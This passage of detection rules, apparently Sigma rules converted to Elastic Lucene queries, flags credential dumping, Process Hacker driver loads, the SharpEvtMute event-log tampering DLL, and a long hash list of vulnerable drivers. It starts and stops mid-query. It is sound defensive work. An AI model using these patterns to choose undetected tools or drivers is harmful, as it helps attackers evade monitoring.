\\-s\\ WpnUserService*)) OR (process.command_line.text:(\"C\\:\\\\Windows\\\\system32\\\\svchost.exe\\ \\-k\\ netsvcs\\ \\-p\\ \\-s\\ wuauserv\" OR \"C\\:\\\\Windows\\\\System32\\\\svchost.exe\\ \\-k\\ WerSvcGroup\")) OR (process.command_line.text:C\\:\\\\WINDOWS\\\\winsxs\\\\* AND process.command_line.text:*\\\\TiWorker.exe\\ \\-Embedding))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Perez Diego (@darkquassar)", "oscd.community", "Ecco"], "license": ""}
{"description": "Detects the load of drivers used by Process Hacker and System Informer", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Legitimate user of process hacker or system informer by low level developers or system administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f9d25a8a-7971-0b7a-4d09-6023e54fbe53", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Process Hacker and System Informer Driver Load", "query": "((dll.path:(*\\\\kprocesshacker.sys OR *\\\\SystemInformer.sys)) OR (winlog.event_data.Hashes:(*IMPHASH\\=821D74031D3F625BCBD0DF08B70F1E77* OR *IMPHASH\\=F86759BB4DE4320918615DC06E998A39* OR *IMPHASH\\=0A64EEB85419257D0CE32BD5D55C3A18* OR *IMPHASH\\=6E7B34DFC017700B1517B230DF6FF0D0*)) OR (winlog.event_data.Imphash:(\"821D74031D3F625BCBD0DF08B70F1E77\" OR \"F86759BB4DE4320918615DC06E998A39\" OR \"0A64EEB85419257D0CE32BD5D55C3A18\" OR \"6E7B34DFC017700B1517B230DF6FF0D0\")) OR (winlog.event_data.Hashes:(*SHA256\\=8B9AD98944AC9886EA4CB07700E71B78BE4A2740934BB7E46CA3B56A7C59AD24* OR *SHA256\\=A41348BEC147CA4D9EA2869817527EB5CEA2E20202AF599D2B30625433BCF454* OR *SHA256\\=38EE0A88AF8535A11EFE8D8DA9C6812AA07067B75A64D99705A742589BDD846D* OR *SHA256\\=A773891ACF203A7EB0C0D30942FB1347648F1CD918AE2BFD9A4857B4DCF5081B* OR *SHA256\\=4C3B81AC88A987BBDF7D41FA0AECC2CEDF5B9BD2F45E7A21F376D05345FC211D* OR *SHA256\\=3241BC14BEC51CE6A691B9A3562E5C1D52E9D057D27A3D67FD0B245C350B6D34* OR *SHA256\\=047C42E9BBA28366868847C7DAFC1E043FB038C796422D37220493517D68EE89* OR *SHA256\\=18931DC81E95D0020466FA091E16869DBE824E543A4C2C8FE644FA71A0F44FEB* OR *SHA256\\=B4C2EF76C204273132FDE38F0DED641C2C5EE767652E64E4C4071A4A973B6C1B* OR *SHA256\\=640954AFC268565F7DAA6E6F81A8EE05311E33E34332B501A3C3FE5B22ADEA97* OR *SHA256\\=251BE949F662C838718F8AA0A5F8211FB90346D02BD63FF91E6B224E0E01B656* OR *SHA256\\=E2606F272F7BA054DF16BE464FDA57211EF0D14A0D959F9C8DCB0575DF1186E4* OR *SHA256\\=3A9E1D17BEEB514F1B9B3BACAEE7420285DE5CBDCE89C5319A992C6CBD1DE138*)) OR (sha256:(\"8b9ad98944ac9886ea4cb07700e71b78be4a2740934bb7e46ca3b56a7c59ad24\" OR \"a41348bec147ca4d9ea2869817527eb5cea2e20202af599d2b30625433bcf454\" OR \"38ee0a88af8535a11efe8d8da9c6812aa07067b75a64d99705a742589bdd846d\" OR \"a773891acf203a7eb0c0d30942fb1347648f1cd918ae2bfd9a4857b4dcf5081b\" OR \"4c3b81ac88a987bbdf7d41fa0aecc2cedf5b9bd2f45e7a21f376d05345fc211d\" OR \"3241bc14bec51ce6a691b9a3562e5c1d52e9d057d27a3d67fd0b245c350b6d34\" OR \"047c42e9bba28366868847c7dafc1e043fb038c796422d37220493517d68ee89\" OR \"18931dc81e95d0020466fa091e16869dbe824e543a4c2c8fe644fa71a0f44feb\" OR \"b4c2ef76c204273132fde38f0ded641c2c5ee767652e64e4c4071a4a973b6c1b\" OR \"640954afc268565f7daa6e6f81a8ee05311e33e34332b501a3c3fe5b22adea97\" OR \"251be949f662c838718f8aa0a5f8211fb90346d02bd63ff91e6b224e0e01b656\" OR \"e2606f272f7ba054df16be464fda57211ef0d14a0d959f9c8dcb0575df1186e4\" OR \"3a9e1d17beeb514f1b9b3bacaee7420285de5cbdce89c5319a992c6cbd1de138\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool to tamper with Windows event logs", "enabled": false, "false_positives": ["Other DLLs with that import hash"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a74067ec-6fe0-6244-3758-1e4971be5449", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SharpEvtMute EvtMuteHook Load", "query": "(winlog.event_data.Hashes:*IMPHASH\\=330768A4F172E10ACB6287B87289D83B* OR winlog.event_data.Imphash:\"330768a4f172e10acb6287b87289d83b\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the load of known vulnerable drivers by hash value", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c6c2be4e-ac3e-650c-d72c-55d8b87e5aa9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Vulnerable Driver Load", "query": "((winlog.event_data.Hashes:(*SHA1\\=2261198385d62d2117f50f631652eded0ecc71db* OR *SHA1\\=8db869c0674221a2d3280143cbb0807fac08e0cc* OR *SHA1\\=27d3ebea7655a72e6e8b95053753a25db944ec0f* OR *SHA1\\=33cdab3bbc8b3adce4067a1b042778607dce2acd* OR *SHA1\\=21e6c104fe9731c874fab5c9560c929b2857b918* OR *SHA1\\=d979353d04bf65cc92ad3412605bc81edbb75ec2* OR *SHA1\\=2f991435a6f58e25c103a657d24ed892b99690b8* OR *SHA1\\=f02af84393e9627ba808d4159841854a6601cf80* OR *SHA1\\=bb962c9a8dda93e94fef504c4159de881e4706fe* OR *SHA1\\=b97a8d506be2e7eaa4385f70c009b22adbd071ba* OR *SHA1\\=92f251358b3fe86fd5e7aa9b17330afa0d64a705* OR *SHA1\\=8b6aa5b2bff44766ef7afbe095966a71bc4183fa* OR *SHA1\\=af6e1f2cfb230907476e8b2d676129b6d6657124* OR *SHA1\\=fcde5275ee1913509927ce5f0f85e6681064c9d2* OR *SHA1\\=00a442a4305c62cefa8105c0b4c4a9a5f4d1e93b* OR *SHA1\\=6523b3fd87de39eb5db1332e4523ce99556077dc* OR *SHA1\\=72966ca845759d239d09da0de7eebe3abe86fee3* OR *SHA1\\=57511ef5ff8162a9d793071b5bf7ebe8371759de* OR *SHA1\\=2d503a2457a787014a1fdd48a2ece2e6cbe98ea7* OR *SHA1\\=400f833dcc2ef0a122dd0e0b1ec4ec929340d90e* OR *SHA1\\=89cd760e8cb19d29ee08c430fb17a5fd4455c741* OR *SHA1\\=1d0df45ee3fa758f0470e055915004e6eae54c95* OR *SHA1\\=d5fd9fe10405c4f90235e583526164cd0902ed86* OR *SHA1\\=c52cef5b9e1d4a78431b7af56a6fdb6aa1bcad65* OR *SHA1\\=609fa1efcf61e26d64a5ceb13b044175ab2b3a13* OR *SHA1\\=7d7c03e22049a725ace2a9812c72b53a66c2548b* OR *SHA1\\=f9519d033d75e1ab6b82b2e156eafe9607edbcfb* OR *SHA1\\=468e2e5505a3d924b14fedee4ddf240d09393776* OR *SHA1\\=2e3de9bff43d7712707ef8a0b10f7e4ad8427fd8* OR *SHA1\\=c9cbfdd0be7b35751a017ec59ff7237ffdc4df1f* OR *SHA1\\=078ae07dec258db4376d5a2a05b9b508d68c0123* OR *SHA1\\=623cd2abef6c92255f79cbbd3309cb59176771da* OR *SHA1\\=1f3a9265963b660392c4053329eb9436deeed339* OR *SHA1\\=4a235f0b84ff615e2879fa9e0ec0d745fcfdaa5c* OR *SHA1\\=ace6b9e34e3e2e73fe584f3bbdb4e4ec106e0a7d* OR *SHA1\\=4268f30b79ce125a81d0d588bef0d4e2ad409bbb* OR *SHA1\\=c834c4931b074665d56ccab437dfcc326649d612* OR *SHA1\\=8f5cd4a56e6e15935491aa40adb1ecad61eafe7c* OR *SHA1\\=51b60eaa228458dee605430aae1bc26f3fc62325* OR *SHA1\\=3270720a066492b046d7180ca6e60602c764cac7* OR *SHA1\\=2a6e6bd51c7062ad24c02a4d2c1b5e948908d131* OR *SHA1\\=19bd488fe54b011f387e8c5d202a70019a204adf* OR *SHA1\\=a6fe4f30ca7cb94d74bc6d42cdd09a136056952e* OR *SHA1\\=ea877092d57373cb466b44e7dbcad4ce9a547344* OR *SHA1\\=205c69f078a563f54f4c0da2d02a25e284370251* OR *SHA1\\=f9feb60b23ca69072ce42264cd821fe588a186a6* OR *SHA1\\=b25170e09c9fb7c0599bfba3cf617187f6a733ac* OR *SHA1\\=160c96b5e5db8c96b821895582b501e3c2d5d6e7* OR *SHA1\\=a2e0b3162cfa336cd4ab40a2acc95abe7dc53843* OR *SHA1\\=4e826430a1389032f3fe06e2cc292f643fb0c417* OR *SHA1\\=7ab4565ba24268f0adadb03a5506d4eb1dc7c181* OR *SHA1\\=dc7b022f8bd149efbcb2204a48dce75c72633526* OR *SHA1\\=0307d76750dd98d707c699aee3b626643afb6936* OR *SHA1\\=5711c88e9e64e45b8fc4b90ab6f2dd6437dc5a8a* OR *SHA1\\=6714380bc0b8ab09b9a0d2fa66d1b025b646b946* OR *SHA1\\=8626ab1da6bfbdf61bd327eb944b39fd9df33d1d* OR *SHA1\\=30a224b22592d952fbe2e6ad97eda4a8f2c734e0* OR *SHA1\\=c95db1e82619fb16f8eec9a8209b7b0e853a4ebe* OR *SHA1\\=fe1d909ab38de1389a2a48352fd1c8415fd2eab0* OR *SHA1\\=b4d1554ec19504215d27de0758e13c35ddd6db3e* OR *SHA1\\=5dd2c31c4357a8b76db095364952b3d0e3935e1d* OR *SHA1\\=ecb4d096a9c58643b02f328d2c7742a38e017cf0* OR *SHA1\\=4a705af959af61bad48ef7579f839cb5ebd654d2* OR *SHA1\\=d2e6fc9259420f0c9b6b1769be3b1f63eb36dc57* OR *SHA1\\=c948ae14761095e4d76b55d9de86412258be7afd* OR *SHA1\\=ddbe809b731a0962e404a045ab9e65a0b64917ad* OR *SHA1\\=745bad097052134548fe159f158c04be5616afc2* OR *SHA1\\=8d59fd14a445c8f3f0f7991fa6cd717d466b3754* OR *SHA1\\=2dfcb799b3c42ecb0472e27c19b24ac7532775ce* OR *SHA1\\=cc51be79ae56bc97211f6b73cc905c3492da8f9d* OR *SHA1\\=ac13941f436139b909d105ad55637e1308f49d9a* OR *SHA1\\=2b0bb408ff0e66bcdf6574f1ca52cbf4015b257b* OR *SHA1\\=cc0e0440adc058615e31e8a52372abadf658e6b1* OR *SHA1\\=5520ac25d81550a255dc16a0bb89d4b275f6f809* OR *SHA1\\=6afc6b04cf73dd461e4a4956365f25c1f1162387* OR *SHA1\\=4b009e91bae8d27b160dc195f10c095f8a2441e1* OR *SHA1\\=6003184788cd3d2fc624ca801df291ccc4e225ee* OR *SHA1\\=0466e90bf0e83b776ca8716e01d35a8a2e5f96d3* OR *SHA1\\=e6305dddd06490d7f87e3b06d09e9d4c1c643af0* OR *SHA1\\=89909fa481ff67d7449ee90d24c167b17b0612f1* OR *SHA1\\=d7e8aef8c8feb87ce722c0b9abf34a7e6bab6eb4* OR *SHA1\\=5e6ddd2b39a3de0016385cbd7aa50e49451e376d* OR *SHA1\\=976777d39d73034df6b113dfce1aa6e1d00ffcfd* OR *SHA1\\=9c6749fc6c1127f8788bff70e0ce9062959637c9* OR *SHA1\\=53acd4d9e7ba0b1056cf52af0d191f226eddf312* OR *SHA1\\=3abb9d0a9d600200ae19c706e570465ef0a15643* OR *SHA1\\=27eab595ec403580236e04101172247c4f5d5426* OR *SHA1\\=78b9481607ca6f3a80b4515c432ddfe6550b18a8* OR *SHA1\\=414cd15d6c991d19fb5be02e3b9fb0e6c5ce731c* OR *SHA1\\=d9c09dd725bc7bc3c19b4db37866015817a516ef* OR *SHA1\\=9c256edd10823ca76c0443a330e523027b70522d* OR *SHA1\\=35829e096a15e559fcbabf3441d99e580ca3b26e* OR *SHA1\\=b8de3a1aeeda9deea43e3f768071125851c85bd0* OR *SHA1\\=054a50293c7b4eea064c91ef59cf120d8100f237* OR *SHA1\\=d94f2fb3198e14bfe69b44fb9f00f2551f7248b2* OR *SHA1\\=01a578a3a39697c4de8e3dab04dba55a4c35163e* OR *SHA1\\=14bf0eaa90e012169745b3e30c281a327751e316* OR *SHA1\\=f50c6b84dfb8f2d53ba3bce000a55f0a486c0e79* OR *SHA1\\=6100eb82a25d64a7a7702e94c2b21333bc15bd08* OR *SHA1\\=bf87e32a651bdfd9b9244a8cf24fca0e459eb614* OR *SHA1\\=28b1c0b91eb6afd2d26b239c9f93beb053867a1a* OR *SHA1\\=879fcc6795cebe67718388228e715c470de87dca* OR *SHA1\\=1f7501e01d84a2297c85cb39880ec4e40ac3fe8a* OR *SHA1\\=152b6bb9ffd2ffec00cc46f5c6e29362d0e66e67* OR *SHA1\\=5f8356ffa8201f338dd2ea979eb47881a6db9f03* OR *SHA1\\=a7bd05de737f8ea57857f1e0845a25677df01872* OR *SHA1\\=cce9b82f01ec68f450f5fe4312f40d929c6a506e* OR *SHA1\\=e35a2b009d54e1a0b231d8a276251f64231b66a3* OR *SHA1\\=37364cb5f5cefd68e5eca56f95c0ab4aff43afcc* OR *SHA1\\=d62fa51e520022483bdc5847141658de689c0c29* OR *SHA1\\=93aa3bb934b74160446df3a47fa085fd7f3a6be9* OR *SHA1\\=ec4cc6de4c779bb1ca1dd32ee3a03f7e8d633a9b* OR *SHA1\\=35f1ba60ba0da8512a0b1b15ee8e30fe240d77cd* OR *SHA1\\=3805e4e08ad342d224973ecdade8b00c40ed31be* OR *SHA1\\=65d8a7c2e867b22d1c14592b020c548dd0665646* OR *SHA1\\=c8d87f3cd34c572870e63a696cf771580e6ea81b* OR *SHA1\\=c4d7fb9db3c3459f7e8c0e3d48c95c7c9c4cff60* OR *SHA1\\=d34a7c497c603f3f7fcad546dc4097c2da17c430* OR *SHA1\\=1fd7f881ea4a1dbb5c9aeb9e7ad659a85421745b* OR *SHA1\\=0b8b83f245d94107cb802a285e6529161d9a834d* OR *SHA1\\=c969f1f73922fd95db1992a5b552fbc488366a40* OR *SHA1\\=ac600a2bc06b312d92e649b7b55e3e91e9d63451* OR *SHA1\\=da9cea92f996f938f699902482ac5313d5e8b28e* OR *SHA1\\=33285b2e97a0aeb317166cce91f6733cf9c1ad53* OR *SHA1\\=21edff2937eb5cd6f6b0acb7ee5247681f624260* OR *SHA1\\=f052dc35b74a1a6246842fbb35eb481577537826* OR *SHA1\\=f0c463d29a5914b01e4607889094f1b7d95e7aaf* OR *SHA1\\=0c26ab1299adcd9a385b541ef1653728270aa23e* OR *SHA1\\=f36a47edfacd85e0c6d4d22133dd386aee4eec15* OR *SHA1\\=460008b1ffd31792a6deadfa6280fb2a30c8a5d2* OR *SHA1\\=738b7918d85e5cb4395df9e3f6fc94ddad90e939* OR *SHA1\\=43419df1f9a07430a18c5f3b3cc74de621be0f8e* OR *SHA1\\=558aad879b6a47d94a968f39d0a4e3a3aaef1ef1* OR *SHA1\\=7fb52290883a6b69a96d480f2867643396727e83* OR *SHA1\\=f5696fb352a3fbd14fb1a89ad21a71776027f9ab* OR *SHA1\\=693a2645c28fc3b248fda95179c36c3ac64f6fc2* OR *SHA1\\=05c0c49e8bcf11b883d41441ce87a2ee7a3aba1d* OR *SHA1\\=d25340ae8e92a6d29f599fef426a2bc1b5217299* OR *SHA1\\=7c1b25518dee1e30b5a6eaa1ea8e4a3780c24d0c* OR *SHA1\\=fe10018af723986db50701c8532df5ed98b17c39* OR *SHA1\\=bfe55cacc7c56c9f7bd75bdb4b352c0b745d071b* OR *SHA1\\=a21c84c6bf2e21d69fa06daaf19b4cc34b589347* OR *SHA1\\=82ba5513c33e056c3f54152c8555abf555f3e745* OR *SHA1\\=d098600152e5ee6a8238d414d2a77a34da8afaaa* OR *SHA1\\=64e4ac8b9ea2f050933b7ec76a55dd04e97773b4* OR *SHA1\\=bbc1e5fd826961d93b76abd161314cb3592c4436* OR *SHA1\\=90a76945fd2fa45fab2b7bcfdaf6563595f94891* OR *SHA1\\=b03b1996a40bfea72e4584b82f6b845c503a9748* OR *SHA1\\=c771ea59f075170e952c393cfd6fc784b265027c* OR *SHA1\\=cb44c6f0ee51cb4c5836499bc61dd6c1fbdf8aa1* OR *SHA1\\=0918277fcdc64a9dc51c04324377b3468fa1269b* OR *SHA1\\=b09bcc042d60d2f4c0d08284818ed198cededa04* OR *SHA1\\=8dc2097a90eb7e9d6ee31a7c7a95e7a0b2093b89* OR *SHA1\\=15df139494d2c40a645fb010908551185c27f3c5* OR *SHA1\\=012db3a80faf1f7f727b538cbe5d94064e7159de* OR *SHA1\\=d04e5db5b6c848a29732bfd52029001f23c3da75* OR *SHA1\\=490109fa6739f114651f4199196c5121d1c6bdf2* OR *SHA1\\=b4d014b5edd6e19ce0e8395a64faedf49688ecb5* OR *SHA1\\=a87d6eac2d70a3fbc04e59412326b28001c179de* OR *SHA1\\=3f223581409492172a1e875f130f3485b90fbe5f* OR *SHA1\\=5db61d00a001fd493591dc919f69b14713889fc5* OR *SHA1\\=9923c8f1e565a05b3c738d283cf5c0ed61a0b90f* OR *SHA1\\=15d1a6a904c8409fb47a82aefa42f8c3c7d8c370* OR *SHA1\\=9d07df024ec457168bf0be7e0009619f6ac4f13c* OR *SHA1\\=9a35ae9a1f95ce4be64adc604c80079173e4a676* OR *SHA1\\=c6bd965300f07012d1b651a9b8776028c45b149a* OR *SHA1\\=e83458c4a6383223759cd8024e60c17be4e7c85f* OR *SHA1\\=cb3de54667548a5c9abf5d8fa47db4097fcee9f1* OR *SHA1\\=9c24dd75e4074041dbe03bf21f050c77d748b8e9* OR *SHA1\\=dc55217b6043d819eadebd423ff07704ee103231* OR *SHA1\\=e92817a8744ebc4e4fa5383cdce2b2977f01ecd4* OR *SHA1\\=dc0e97adb756c0f30b41840a59b85218cbdd198f* OR *SHA1\\=26c4a7b392d7e7bd7f0a2a758534e45c0d9a56ab* OR *SHA1\\=d0d39e1061f30946141b6ecfa0957f8cc3ddeb63* OR *SHA1\\=c6d349823bbb1f5b44bae91357895dba653c5861* OR *SHA1\\=f42f28d164205d9f6dab9317c9fecad54c38d5d2* OR *SHA1\\=bbc0b9fd67c8f4cefa3d76fcb29ff3cef996b825* OR *SHA1\\=8183a341ba6c3ce1948bf9be49ab5320e0ee324d* OR *SHA1\\=eb1ecad3d37bb980f908bf1a912415cff32e79e6* OR *SHA1\\=eb0d45aa6f537f5b2f90f3ad99013606eafcd162* OR *SHA1\\=6053d258096bccb07cb0057d700fe05233ab1fbb* OR *SHA1\\=29a190727140f40cea9514a6420f5a195e36386b* OR *SHA1\\=a4b2c56c12799855162ca3b004b4b2078c6ecf77* OR *SHA1\\=7667b72471689151e176baeba4e1cd9cd006a09a* OR *SHA1\\=d7f7594ff084201c0d9fa2f4ef1626635b67bce5* OR *SHA1\\=99201c9555e5faf6e8d82da793b148311f8aa4b8* OR *SHA1\\=947db58d6f36a8df9fa2a1057f3a7f653ccbc42e* OR *SHA1\\=6a3d3b9ab3d201cd6b0316a7f9c3fb4d34d0f403* OR *SHA1\\=d702d88b12233be9413446c445f22fda4a92a1d9* OR *SHA1\\=910cb12aa49e9f35ecc4907e8304adf0dcca8cf1* OR *SHA1\\=643383938d5e0d4fd30d302af3e9293a4798e392* OR *SHA1\\=c4ed28fdfba7b8a8dfe39e591006f25d39990f07* OR *SHA1\\=b0032b8d8e6f4bd19a31619ce38d8e010f29a816* OR *SHA1\\=db6245578ec57bd767b27ecf8085095e1c8e5a6e* OR *SHA1\\=166759fd511613414d3213942fe2575b926a6226* OR *SHA1\\=02a8b74899591da7b7f49c0450328d39b939d7e4* OR *SHA1\\=98ceed786f79288becc08c3b82c57e8d4bfa1bca* OR *SHA1\\=f6b3577ea4b1a5641ae3421151a26268434c3db8* OR *SHA1\\=4de33d03fee52f396a1c788000ca868d56ac30de* OR *SHA1\\=c6920171fa6dff2c17eb83befb5fd28e8dddf5f0* OR *SHA1\\=fbc6d2448739ddec35bb5d6c94b46df4148f648d* OR *SHA1\\=6b54f8f137778c1391285fee6150dfa58a8120b1* OR *SHA1\\=943593e880b4d340f2548548e6e673ef6f61eed3* OR *SHA1\\=5ac4d0e2381fc4a8aebe94a0fb6fe5e7558e4dcd* OR *SHA1\\=e44297a2b750ec1958bef265e2f1ae6fa4323b28* OR *SHA1\\=aa2ea973bb248b18973e57339307cfb8d309f687* OR *SHA1\\=3a5d176c50f97b71d139767ed795d178623f491d* OR *SHA1\\=25d812a5ece19ea375178ef9d60415841087726e* OR *SHA1\\=3795e32592ab6d8074b6f7ad33759c6a39b0df07* OR *SHA1\\=fc121ed6fb37e97a004b6faf217435b772dfc4c0* OR *SHA1\\=ab2b8602e4baef828b58b995d0889a8e5b8dbd02* OR *SHA1\\=cf040040628b58f4a811f98c2690913c1e8e4e3c* OR *SHA1\\=3296844d22c87dd5eba3aa378a8242b41d59db7a* OR *SHA1\\=bc47e15537fa7c32dfefd23168d7e1741f8477ed* OR *SHA1\\=cb22723faa5ae2809476e5c5e9b9a597b26cab9b* OR *SHA1\\=f3c5e723ae009b336cd2719137b8cd194c9ee51d* OR *SHA1\\=41f2d0f9863bce8920c207b1ef5d3d32b603edef* OR *SHA1\\=eb93d2f564fea9b3dc350f386b45de2cd9a3e001* OR *SHA1\\=3cd037fbba8aae82c1b111c9f8755349c98bcb3c* OR *SHA1\\=9401389fba314d1810f83edce33c37e84a78e112* OR *SHA1\\=7eb34cc1fcffb4fdb5cb7e97184dd64a65cb9371* OR *SHA1\\=16d7ecf09fc98798a6170e4cef2745e0bee3f5c7* OR *SHA1\\=fcd615df88645d1f57ff5702bd6758b77efea6d0* OR *SHA1\\=f3db629cfe37a73144d5258e64d9dd8b38084cf4* OR *SHA1\\=a00e444120449e35641d58e62ed64bb9c9f518d2* OR *SHA1\\=38571f14fc014487194d1eecfa80561ee8644e09* OR *SHA1\\=4d41248078181c7f61e6e4906aa96bbdea320dc2* OR *SHA1\\=3599ea2ac1fa78f423423a4cf90106ea0938dde8* OR *SHA1\\=3d6d53b0f1cc908b898610227b9f1b9352137aba* OR *SHA1\\=4c18754dca481f107f0923fb8ef5e149d128525d* OR *SHA1\\=8c377ab4eebc5f4d8dd7bb3f90c0187dfdd3349f* OR *SHA1\\=cde32654a041fedc7b0fa1083f6005b950760062* OR *SHA1\\=5fb9421be8a8b08ec395d05e00fd45eb753b593a* OR *SHA1\\=b480c54391a2a2f917a44f91a5e9e4590648b332* OR *SHA1\\=4f7a8e26a97980544be634b26899afbefb0a833c* OR *SHA1\\=c1d5cf8c43e7679b782630e93f5e6420ca1749a7* OR *SHA1\\=a7e9a4686aa7291331e2c8708882c8d81d05264f* OR *SHA1\\=7ba19a701c8af76988006d616a5f77484c13cb0a* OR *SHA1\\=4243dbbf6e5719d723f24d0f862afd0fcb40bc35* OR *SHA1\\=00b4e8b7644d1bf93f5ddb5740b444b445e81b02* OR *SHA1\\=fd833f3fe2fa396878033b9e6054725248bf9881* OR *SHA1\\=db446af0e34259e95f4db112a9f06177e1eef4e0* OR *SHA1\\=39d7b121bc654a0de891225e0f8b7b5537c24931* OR *SHA1\\=d0a228ed8af190dec0c1a812e212f5e68ee3b43e* OR *SHA1\\=7d2fc1a6729521e5c76f659e4c398e2061f7ed5e* OR *SHA1\\=f999709e5b00a68a0f4fa912619fe6548ad0c42d* OR *SHA1\\=06232f7ea7ea24102d452427aedbbc8b8e188a0c* OR *SHA1\\=a380aeb3ffaecc53ca48bb1d4d622c46f1de7962* OR *SHA1\\=4927d843577bada119a17b249ff4e7f5e9983a92* OR *SHA1\\=e5114fd50904c7fb75d8c86367b9a2dd4f79dfb1* OR *SHA1\\=3ccf1f3ac636a5e21b39ede48ff49fa23e05413f* OR *SHA1\\=755349d56cdd668ca22eebc4fc89f0cccef47327* OR *SHA1\\=56af49e030eb85528e82849d7d1b6147f3c4973e* OR *SHA1\\=45a9f95a7a018925148152b888d09d478d56bbf5* OR *SHA1\\=540b9f9a232b9d597138b8e0f33d83f5f6e247af* OR *SHA1\\=bdfb25cc4ed569dc0d5849545eb4abe08539029f* OR *SHA1\\=28da2ac7c82b999c53f99d55331cfa3624a0bc6f* OR *SHA1\\=5d5f92fba0f39826b527f335a7cca7d363758410* OR *SHA1\\=1858ab7ad1947f5c24b9c913cd975e6dbb536865* OR *SHA1\\=0f2aa3bfdfd699e258382ea1b3c1db1ad7211023* OR *SHA1\\=886a9c16b871da42cdb54c6738a8e088be8b989f* OR *SHA1\\=c24883645c0589f6171e8ee10080750ac66d75e6* OR *SHA1\\=36d3b09e19477d807a6a5efff89aa6cc8b71bdeb* OR *SHA1\\=e58dd758e28218e1edb33cd88bb97504972ee221* OR *SHA1\\=d782ef79266179d2247807857877fabb2e402be5* OR *SHA256\\=05F052C64D192CF69A462A5EC16DDA0D43CA5D0245900C9FCB9201685A2E7748* OR *SHA256\\=4045AE77859B1DBF13972451972EAAF6F3C97BEA423E9E78F1C2F14330CD47CA* OR *SHA256\\=6948480954137987A0BE626C24CF594390960242CD75F094CD6AAA5C2E7A54FA* OR *SHA256\\=8CB62C5D41148DE416014F80BD1FD033FD4D2BD504CB05B90EEB6992A382D58F* OR *SHA256\\=B1D96233235A62DBB21B8DBE2D1AE333199669F67664B107BFF1AD49B41D9414* OR *SHA256\\=7196187FB1EF8D108B380D37B2AF8EFDEB3CA1F6EEFD37B5DC114C609147216D* OR *SHA256\\=7F375639A0DF7FE51E5518CF87C3F513C55BC117DB47D28DA8C615642EB18BFA* OR *SHA256\\=42579A759F3F95F20A2C51D5AC2047A2662A2675B3FB9F46C1ED7F23393A0F00* OR *SHA256\\=2DA330A2088409EFC351118445A824F11EDBE51CF3D653B298053785097FE40E* OR *SHA256\\=436CCAB6F62FA2D29827916E054ADE7ACAE485B3DE1D3E5C6C62D3DEBF1480E7* OR *SHA256\\=B4D47EA790920A4531E3DF5A4B4B0721B7FEA6B49A35679F0652F1E590422602* OR *SHA256\\=DDE6F28B3F7F2ABBEE59D4864435108791631E9CB4CDFB1F178E5AA9859956D8* OR *SHA256\\=B48A309EE0960DA3CAAAAF1E794E8C409993AEB3A2B64809F36B97AAC8A1E62A* OR *SHA256\\=025E7BE9FCEFD6A83F4471BBA0C11F1C11BD5047047D26626DA24EE9A419CDC4* OR *SHA256\\=2AA1B08F47FBB1E2BD2E4A492F5D616968E703E1359A921F62B38B8E4662F0C4* OR *SHA256\\=ECE0A900EA089E730741499614C0917432246CEB5E11599EE3A1BB679E24FD2C* OR *SHA256\\=F40435488389B4FB3B945CA21A8325A51E1B5F80F045AB019748D0EC66056A8B* OR *SHA256\\=2A652DE6B680D5AD92376AD323021850DAB2C653ABF06EDF26120F7714B8E08A* OR *SHA256\\=950A4C0C772021CEE26011A92194F0E58D61588F77F2873AA0599DFF52A160C9* OR *SHA256\\=0AAFA9F47ACF69D46C9542985994FF5321F00842A28DF2396D4A3076776A83CB* OR *SHA256\\=47F08F7D30D824A8F4BB8A98916401A37C0FD8502DB308ABA91FE3112B892DCC* OR *SHA256\\=B9A4E40A5D80FEDD1037EAED958F9F9EFED41EB01ADA73D51B5DCD86E27E0CBF* OR *SHA256\\=5C04C274A708C9A7D993E33BE3EA9E6119DC29527A767410DBAF93996F87369A* OR *SHA256\\=0040153302B88BEE27EB4F1ECA6855039E1A057370F5E8C615724FA5215BADA3* OR *SHA256\\=3326E2D32BBABD69FEB6024809AFC56C7E39241EBE70A53728C77E80995422A5* OR *SHA256\\=36B9E31240AB0341873C7092B63E2E0F2CAB2962EBF9B25271C3A1216B7669EB* OR *SHA256\\=29E0062A017A93B2F2F5207A608A96DF4D554C5DE976BD0276C2590A03BD3E94* OR *SHA256\\=45ABDBCD4C0916B7D9FAAF1CD08543A3A5178871074628E0126A6EDA890D26E0* OR *SHA256\\=50DB5480D0392A7DD6AB5DF98389DC24D1ED1E9C98C9C35964B19DABCD6DC67F* OR *SHA256\\=607DC4C75AC7AEF82AE0616A453866B3B358C6CF5C8F9D29E4D37F844306B97C* OR *SHA256\\=61D6E40601FA368800980801A662A5B3B36E3C23296E8AE1C85726A56EF18CC8* OR *SHA256\\=74A846C61ADC53692D3040AFF4C1916F32987AD72B07FE226E9E7DBEFF1036C4* OR *SHA256\\=76FB4DEAEE57EF30E56C382C92ABFFE2CF616D08DBECB3368C8EE6B02E59F303* OR 